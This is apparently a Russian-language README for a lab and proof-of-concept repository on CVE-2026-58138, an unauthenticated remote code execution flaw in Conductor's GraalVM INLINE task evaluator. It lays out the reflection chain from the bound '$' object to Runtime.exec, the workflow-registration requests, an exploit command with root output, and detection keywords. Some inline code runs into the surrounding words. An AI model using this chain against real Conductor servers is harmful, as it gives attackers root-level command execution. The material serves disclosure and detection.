
CVE-2026-58138 — Conductor (3.21.21..<3.30.2) неаутентифицированный RCE через INLINE GraalVM evaluator (HostAccess.ALL). Лаборатория и PoC, проверено e2e (root).
TL;DR: Orkes/OSS Conductor (версии
3.21.21до< 3.30.2) обрабатывает пользовательский JavaScript в задачахINLINEс помощью контекста GraalVM, имеющего полный доступ к хосту (HostAccess.ALL). Поскольку API сообщества по умолчанию не требует аутентификации, любой неавторизованный пользователь может отправить вредоносный workflow, перейти от связанного JavaScript-объекта кjava.lang.Runtimeи получить от имени процесса Conductor (часто ).
root| Атрибут | Детали |
|---|---|
| Идентификатор CVE | CVE-2026-58138 |
| Затронутое ПО | Conductor 3.21.21 – 3.30.1 |
| Исправленная версия | 3.30.2 (коммиты: 87a7d96, c691e35) |
| Класс уязвимости | CWE-94: Внедрение кода (обход sandbox GraalVM polyglot) |
| Оценка CVSS v3.1 | 9.8 (Critical) AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Аутентификация | Отсутствует (API сообщества по умолчанию не аутентифицирован) |
| Подтверждение | Подтверждено от root на conductoross/conductor:3.22.3 |
Примечание о версиях: Версии до
~3.29.xиспользуют конфигурациюallowHostAccess(HostAccess.ALL)без изменений, что напрямую эксплуатируется данным PoC. Версии3.30.0и3.30.1ввели частичный блок-лист (блокирующий некоторые отражения), но полное исправление (allowHostClassLoading(false)+ усиление движка) было реализовано только в3.30.2. Данный PoC нацелен на конфигурацию без sandbox.
Уязвимость существует в том, как Conductor настраивает polyglot-контекст GraalVM для выполнения скриптов.
В core/.../events/ScriptEvaluator.java (≤ 3.29.x) контекст строится следующим образом:
return Context.newBuilder("js")
.allowHostAccess(HostAccess.ALL) // ОПАСНОСТЬ: полный хост-интероп, отсутствие sandbox
.build();
Почему это означает полное поражение:
HostAccess.ALL предоставляет JavaScript-движку разрешение вызывать любые методы и обращаться к любым полям Java-объектов хоста.INLINE связывает свои входные параметры с JavaScript-переменной $, которая является реальным Java-объектом.$:
$.getClass().getClass() ➔ java.lang.Class ➔ Class.forName("java.lang.Runtime") ➔ Runtime.getRuntime().exec("sh -c <command>").Context.newBuilder("python").allowAllAccess(true)).Для атаки не требуется аутентификация, и она состоит из трёх простых шагов:
POST-запрос на /api/metadata/workflow с вредоносным определением workflow. Задача INLINE содержит рефлексивный JavaScript-пейлоад в поле expression.POST-запрос на /api/workflow/{workflow_name} для запуска workflow.Runtime.exec запускает команду ОС, а PoC хитроумно перехватывает stdout и возвращает его как результат задачи result, который затем извлекается через API.Запустите локальный экземпляр уязвимой версии Conductor с помощью Docker.
# Клонируйте репозиторий и запустите лабораторную среду
docker compose -f docker/docker-lab.yml up -d
# Подождите ~60 секунд, пока сервер «всё-в-одном» полностью загрузится
Выполните предоставленный Python-скрипт эксплойта. Он использует только стандартную библиотеку Python (внешние зависимости не требуются).
python3 exploit.py http://127.0.0.1:8080 -c "id; hostname; whoami"
[*] Target: http://127.0.0.1:8080
[*] Command: 'id; hostname; whoami'
[*] Registering workflow with a malicious INLINE (javascript) task ... (no auth)
[*] Starting workflow execution ... (no auth)
[*] Started workflow id=pwn_1705432100; reading INLINE task output ...
[+] UNAUTHENTICATED RCE CONFIRMED - command output from the Conductor host:
uid=0(root) gid=0(root) groups=0(root)
vbox
Linux 6.18.12+deb13-amd64
Примечание: Вывод uid=0(root) доказывает реальное выполнение на хосте, а не имитацию ответа.
Успешная эксплуатация даёт атакующему возможность выполнять произвольные команды ОС на хосте-оркестраторе Conductor.
Поскольку Conductor часто развёртывается с повышенными привилегиями для управления инфраструктурой, это обычно приводит к:
Отслеживайте в вашей среде следующие индикаторы компрометации (IoC):
INLINE, LAMBDA, DO_WHILE или SWITCH, в строке expression которых встречаются:
getClass, forName, Runtime, exec, ProcessBuilderjava.lang.reflect или обращение к пакету java. общего назначенияsh, bash, cmd.exe) или исходящие сетевые соединения.Детальный анализ цепочки отражений, конфигураций оценщиков для конкретных версий и анализ исправлений см. в ANALYSIS.md.
Отказ от ответственности: Этот репозиторий содержит независимую, воспроизводимую лабораторную среду и доказательство концепции (PoC), предназначенные исключительно для оборонительного, образовательного и санкционированного тестирования безопасности. Не используйте данный код против систем, которыми вы не владеете или на тестирование которых не имеете явного письменного разрешения. Авторы не несут ответственности за неправомерное использование.